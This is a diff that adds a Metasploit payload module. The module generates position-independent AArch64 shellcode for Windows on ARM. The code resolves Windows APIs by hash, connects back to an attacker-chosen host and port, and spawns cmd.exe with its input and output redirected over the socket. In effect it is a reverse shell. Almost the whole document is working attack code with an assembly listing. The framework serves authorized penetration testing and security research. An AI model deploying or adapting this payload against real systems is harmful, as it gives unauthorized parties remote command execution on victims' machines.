Add windows/aarch64/shell_reverse_tcp payload

modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb

@@ -0,0 +1,358 @@
+# frozen_string_literal: true
+
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+module MetasploitModule
+  CachedSize = 664
+
+  include Msf::Payload::Windows
+  include Msf::Payload::Single
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(
+      merge_info(
+        info,
+        'Name' => 'Windows AArch64 Command Shell, Reverse TCP Inline',
+        'Description' => %q{
+          Connect back to the attacker and spawn a Windows command shell on a
+          Windows on ARM (AArch64) target. Position-independent shellcode that
+          resolves API addresses via PEB / Export Address Table hashing
+          (Stephen Fewer ROR-13), opens a TCP socket through Winsock, calls
+          WSAConnect, then spawns cmd.exe with stdin/stdout/stderr piped over
+          the socket via CreateProcessA + STARTF_USESTDHANDLES. EXITFUNC is
+          honored via a runtime hash-dispatcher.
+        },
+        'Author' => [
+          'vinicius-batistella' # AArch64 reverse_tcp port from the x64 stager logic
+        ],
+        'License' => MSF_LICENSE,
+        'Platform' => 'win',
+        'Arch' => ARCH_AARCH64,
+        'Handler' => Msf::Handler::ReverseTcp,
+        'Session' => Msf::Sessions::CommandShell,
+        'Payload' => { 'Offsets' => {}, 'Payload' => '' }
+      )
+    )
+  end
+
+  def generate(_opts = {})
+    lhost = datastore['LHOST']
+    unless Rex::Socket.is_ipv4?(lhost)
+      raise ArgumentError, 'LHOST must be in IPv4 format.'
+    end
+
+    ip_bytes = Rex::Socket.addr_aton(lhost)
+
+    # Map LHOST/LPORT onto the MOVK immediates inside fill_sockaddr_fast.
+    # sin_port:  network-order bytes loaded as a little-endian 16-bit imm.
+    # sin_addr:  octets 0..1 -> low halfword, octets 2..3 -> high halfword.
+    port_imm = [datastore['LPORT'].to_i].pack('n').unpack1('v')
+    ip_lo_imm = ip_bytes[0, 2].unpack1('v')
+    ip_hi_imm = ip_bytes[2, 2].unpack1('v')
+
+    # The exitfunk block re-resolves the chosen kernel32 exit API by hash
+    # at runtime; we patch the two MOVZ/MOVK immediates with the hash.
+    exit_hash = exitfunk_hash(datastore['EXITFUNC'])
+
+    asm = build_asm(
+      port_imm: port_imm,
+      ip_lo_imm: ip_lo_imm,
+      ip_hi_imm: ip_hi_imm,
+      exit_lo: exit_hash & 0xFFFF,
+      exit_hi: (exit_hash >> 16) & 0xFFFF
+    )
+
+    compile_aarch64(asm)
+  end
+
+  private
+
+  # ROR-13 hash of a kernel32 export name, matching the asm find_function
+  # routine. The asm stops on CBZ before adding the NUL terminator, so we
+  # hash bytes only (no trailing zero).
+  #
+  # Sanity checks (verified against rev2.s constants):
+  #   ror13_hash('TerminateProcess') == 0x78b5b983
+  #   ror13_hash('LoadLibraryA')     == 0xec0e4e8e
+  #   ror13_hash('CreateProcessA')   == 0x16b3fe72
+  def ror13_hash(str)
+    h = 0
+    str.each_byte do |b|
+      h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF
+      h = (h + b) & 0xFFFFFFFF
+    end
+    h
+  end
+
+  def exitfunk_hash(value)
+    case value.to_s.downcase
+    when 'thread'
+      ror13_hash('ExitThread')
+    when 'process', ''
+      0x78b5b983 # TerminateProcess (known constant; also == ror13_hash('TerminateProcess'))
+    when 'none'
+      # 'none' is best-effort here: we still need *something* to call so the
+      # shellcode doesn't fall off into garbage. ExitProcess is the safest.
+      ror13_hash('ExitProcess')
+    else
+      0x78b5b983
+    end
+  end
+
+  def build_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exit_lo:, exit_hi:)
+    # Differences from the standalone rev2.s prototype:
+    #   - `.text` / `.global` directives stripped (aarch64 gem rejects them)
+    #   - `[reg, wreg, uxtw #N]` rewritten as `mov w15, w4; lsl x15, x15, #N;
+    #     add x15, base, x15; ldr ...` to avoid extended-register addressing
+    #     in the aarch64 gem parser
+    #   - constant expressions like `(12*2)` pre-evaluated to literals
+    #   - `mov x0, #-1` replaced with `movn x0, #0` (canonical encoding)
+    #
+    # Slot table (x29 + offset):
+    #   0x00 kernel32_base  0x08 &find_function  0x18 LoadLibraryA
+    #   0x28 WSAStartup     0x30 WSASocketA      0x38 WSAConnect
+    #   0x40 CreateProcessA 0x50 sockaddr_in     0x70 WSADATA
+    # Gaps at 0x10 and 0x20 are intentional -- previously held cached
+    # TerminateProcess (re-resolved by exitfunk now) and OpenProcessToken
+    # (was unused dead code), preserved to keep slot offsets stable.
+    <<~ASM
+      main:
+        sub     sp, sp, #0x300
+        mov     x29, sp
+        add     x19, x29, #0x50
+        add     x21, x29, #0x70
+
+      find_kernel32:
+        ldr     x6, [x18, #0x60]
+        ldr     x6, [x6,  #0x18]
+        ldr     x6, [x6,  #0x30]
+
+      next_module:
+        ldr     x3, [x6, #0x10]
+        ldr     x7, [x6, #0x40]
+        ldr     x6, [x6]
+        ldrh    w8, [x7, #24]
+        cbnz    w8, next_module
+
+      find_function_shorten:
+        b       find_function_shorten_bnc
+
+      find_function_ret:
+        str     x30, [x29, #0x08]
+        b       resolve_symbols_kernel32
+
+      find_function_shorten_bnc:
+        bl      find_function_ret
+
+      find_function:
+        mov     w10, w0
+        ldr     w8,  [x3, #0x3c]
+        add     x8,  x8, x3
+        ldr     w9,  [x8, #0x88]
+        add     x9,  x9, x3
+        ldr     w4,  [x9, #0x18]
+        ldr     w11, [x9, #0x20]
+        add     x11, x11, x3
+
+      find_function_loop:
+        cbz     w4, find_function_finished
+        sub     w4, w4, #1
+        mov     w15, w4
+        lsl     x15, x15, #2
+        add     x15, x11, x15
+        ldr     w12, [x15]
+        add     x6,  x12, x3
+
+      compute_hash:
+        mov     w5, wzr
+
+      compute_hash_again:
+        ldrb    w0, [x6], #1
+        cbz     w0, compute_hash_finished
+        ror     w5, w5, #13
+        add     w5, w5, w0
+        b       compute_hash_again
+
+      compute_hash_finished:
+      find_function_compare:
+        cmp     w5, w10
+        b.ne    find_function_loop
+
+        ldr     w12, [x9, #0x24]
+        add     x12, x12, x3
+        mov     w15, w4
+        lsl     x15, x15, #1
+        add     x15, x12, x15
+        ldrh    w4,  [x15]
+        ldr     w12, [x9, #0x1c]
+        add     x12, x12, x3
+        mov     w15, w4
+        lsl     x15, x15, #2
+        add     x15, x12, x15
+        ldr     w13, [x15]
+        add     x0,  x13, x3
+
+      find_function_finished:
+        ret
+
+      resolve_symbols_kernel32:
+        str     x3, [x29, #0x00]
+
+        movz    w0, #0x4e8e
+        movk    w0, #0xec0e, lsl #16
+        ldr     x9, [x29, #0x08]
+        blr     x9
+        str     x0, [x29, #0x18]
+
+      resolve_symbols_CreateProcessA:
+        movz    w0, #0xfe72
+        movk    w0, #0x16b3, lsl #16
+        ldr     x9, [x29, #0x08]
+        blr     x9
+        str     x0, [x29, #0x40]
+
+      load_ws2_32:
+        movz    x0, #0x7357
+        movk    x0, #0x5f32, lsl #16
+        movk    x0, #0x3233, lsl #32
+        movk    x0, #0x642e, lsl #48
+        movz    w1, #0x6c6c
+        sub     sp, sp, #16
+        str     x0, [sp]
+        str     w1, [sp, #8]
+        mov     x0, sp
+        ldr     x9, [x29, #0x18]
+        blr     x9
+        add     sp, sp, #16
+        mov     x3, x0
+
+      resolve_ws2_32:
+        movz    w0, #0xedcb
+        movk    w0, #0x3bfc, lsl #16
+        ldr     x9, [x29, #0x08]
+        blr     x9
+        str     x0, [x29, #0x28]
+
+        movz    w0, #0x09d9
+        movk    w0, #0xadf5, lsl #16
+        ldr     x9, [x29, #0x08]
+        blr     x9
+        str     x0, [x29, #0x30]
+
+        movz    w0, #0xba0c
+        movk    w0, #0xb32d, lsl #16
+        ldr     x9, [x29, #0x08]
+        blr     x9
+        str     x0, [x29, #0x38]
+
+      call_WSAStartup:
+        movz    w0, #0x0202
+        mov     x1, x21
+        ldr     x9, [x29, #0x28]
+        blr     x9
+
+      call_WSASocket:
+        mov     w0, #2
+        mov     w1, #1
+        mov     w2, #6
+        mov     x3, xzr
+        mov     w4, wzr
+        mov     w5, wzr
+        ldr     x9, [x29, #0x30]
+        blr     x9
+        mov     x22, x0
+
+      fill_sockaddr_fast:
+        movz    x0, #0x0002
+        movk    x0, ##{format('0x%04x', port_imm)}, lsl #16
+        movk    x0, ##{format('0x%04x', ip_lo_imm)}, lsl #32
+        movk    x0, ##{format('0x%04x', ip_hi_imm)}, lsl #48
+        stp     x0, xzr, [x19]
+
+      call_WSAConnect:
+        mov     x0, x22
+        mov     x1, x19
+        mov     w2, #16
+        mov     x3, xzr
+        mov     x4, xzr
+        mov     x5, xzr
+        mov     x6, xzr
+        ldr     x9, [x29, #0x38]
+        blr     x9
+
+      build_PROCESS_INFORMATION_and_STARTUPINFOA:
+        sub     sp, sp, #0xB0
+        add     x10, sp, #0x10
+        add     x11, sp, #0x30
+        add     x12, sp, #0xA0
+
+        stp     xzr, xzr, [x10]
+        str     xzr, [x10, #16]
+
+        stp     xzr, xzr, [x11, #0x00]
+        stp     xzr, xzr, [x11, #0x10]
+        stp     xzr, xzr, [x11, #0x20]
+        stp     xzr, xzr, [x11, #0x30]
+        stp     xzr, xzr, [x11, #0x40]
+        stp     xzr, xzr, [x11, #0x50]
+        str     xzr,      [x11, #0x60]
+
+        mov     w0, #0x68
+        str     w0, [x11, #0x00]
+        mov     w0, #0x100
+        str     w0, [x11, #0x3C]
+        str     x22, [x11, #0x50]
+        str     x22, [x11, #0x58]
+        str     x22, [x11, #0x60]
+
+        movz    x0, #0x6D63
+        movk    x0, #0x2E64, lsl #16
+        movk    x0, #0x7865, lsl #32
+        movk    x0, #0x0065, lsl #48
+        str     x0, [x12]
+
+      call_CreateProcessA:
+        mov     x0, xzr
+        mov     x1, x12
+        mov     x2, xzr
+        mov     x3, xzr
+        mov     w4, #1
+        mov     w5, wzr
+        mov     x6, xzr
+        mov     x7, xzr
+        stp     x11, x10, [sp]
+
+        ldr     x9, [x29, #0x40]
+        blr     x9
+
+        add     sp, sp, #0xB0
+
+      exitfunk:
+        ldr     x3, [x29, #0x00]
+        movz    w0, ##{format('0x%04x', exit_lo)}
+        movk    w0, ##{format('0x%04x', exit_hi)}, lsl #16
+        ldr     x9, [x29, #0x08]
+        blr     x9
+        mov     x10, x0
+        movn    x0, #0
+        mov     w1, wzr
+        blr     x10
+        brk     #0
+    ASM
+  end
+
+  def compile_aarch64(asm_string)
+    require 'aarch64/parser'
+    parser = ::AArch64::Parser.new
+    asm = parser.parse(without_inline_comments(asm_string))
+    asm.to_binary
+  end
+
+  def without_inline_comments(string)
+    string.lines.map { |line| line.split('//', 2).first.strip }.reject(&:empty?).join("\n")
+  end
+end